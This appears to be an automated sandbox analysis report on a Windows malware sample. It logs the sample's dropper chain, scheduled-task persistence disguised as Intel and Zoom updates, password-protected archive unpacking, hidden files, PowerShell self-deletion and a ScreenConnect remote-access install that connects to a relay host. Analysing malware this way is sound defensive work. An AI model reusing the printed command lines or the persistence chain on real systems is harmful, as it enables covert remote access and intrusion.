Source: 74df2248d3.exe, 00000032.00000002.2801161729.0000000000BF9000.00000040.00000001.01000000.0000001F.sdmp, 74df2248d3.exe, 00000032.00000003.2760838319.0000000005408000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 74df2248d3.exe, 00000032.00000002.2801161729.0000000000BF9000.00000040.00000001.01000000.0000001F.sdmp, 74df2248d3.exe, 00000032.00000003.2760838319.0000000005408000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@83/107@11/7

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

22_2_00409606

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

22_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

22_2_004092C1

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

22_2_004020BF

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1516:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1784:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7880:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4112:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Mutant created: \Sessions\1\BaseNamedObjects\ZVAVeu2Kl4LCy2uN
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6470500 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments

Source: file.exe

ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe "C:\Users\user\AppData\Local\Temp\1016235001\software1.exe"
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\X91lnt.exe C:\Users\user\AppData\Roaming\X91lnt.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe "C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe"
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\9e47e837d725d609\ScreenConnect.ClientSetup.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E5CDA60B384156AE05B5636DFE5419D6 C
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6470500 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 327EB0D7911EE728674347297CC5FAE5
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 73A58B9F36A94B7EA630D7BED49D6F14 E Global\MSI0000
Source: unknown	Process created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe "C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-m858nm-relay.screenconnect.com&p=443&s=3cd214b7-5aab-4db7-9625-6ab5da5d3fae&k=BgIAAACkAABSU0ExAAgAAAEAAQAVnkKvoJ2a5Owy72d6CsGdKvHoeDC4B57FaJ6Hxr4F3MVrvri8W9EBpR76DnouoQOLdhagN9jXLv1DU9oYtbUyE5f22RxeyKb5ACDc8ergbSKA6QVCTyTw%2b3U%2fOzjOQHcKvuOA1wvUksct4fMl%2fH6deBklLuXsqF5i5v%2be0%2fy69N3M%2byB6qBKOsSPdQFoez5pkMEvZ%2bP26YFGRbMQy7WBZp%2bnngJN34UsDIkAV0RR4%2foS8UwkCPPERznjyO7T3iiIpbJgk9Xyyo9LATv0PIVIobYuVGgw6FX9yR8iM6FgVacp6H5r7KSQo5HS13%2bcfCkJbSoce8r%2fzHSz0DB93mjez"
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe" "RunRole" "cfa29388-3a4c-4d58-a99b-602f2ce1af9d" "User"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\X91lnt.exe "C:\Users\user\AppData\Roaming\X91lnt.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe "C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\X91lnt.exe "C:\Users\user\AppData\Roaming\X91lnt.exe"
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe "C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe "C:\Users\user\AppData\Local\Temp\1016235001\software1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe "C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe "C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe "C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\9e47e837d725d609\ScreenConnect.ClientSetup.msi"	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E5CDA60B384156AE05B5636DFE5419D6 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 327EB0D7911EE728674347297CC5FAE5
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 73A58B9F36A94B7EA630D7BED49D6F14 E Global\MSI0000
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6470500 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Process created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe "C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe" "RunRole" "cfa29388-3a4c-4d58-a99b-602f2ce1af9d" "User"
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll	Jump to behavior
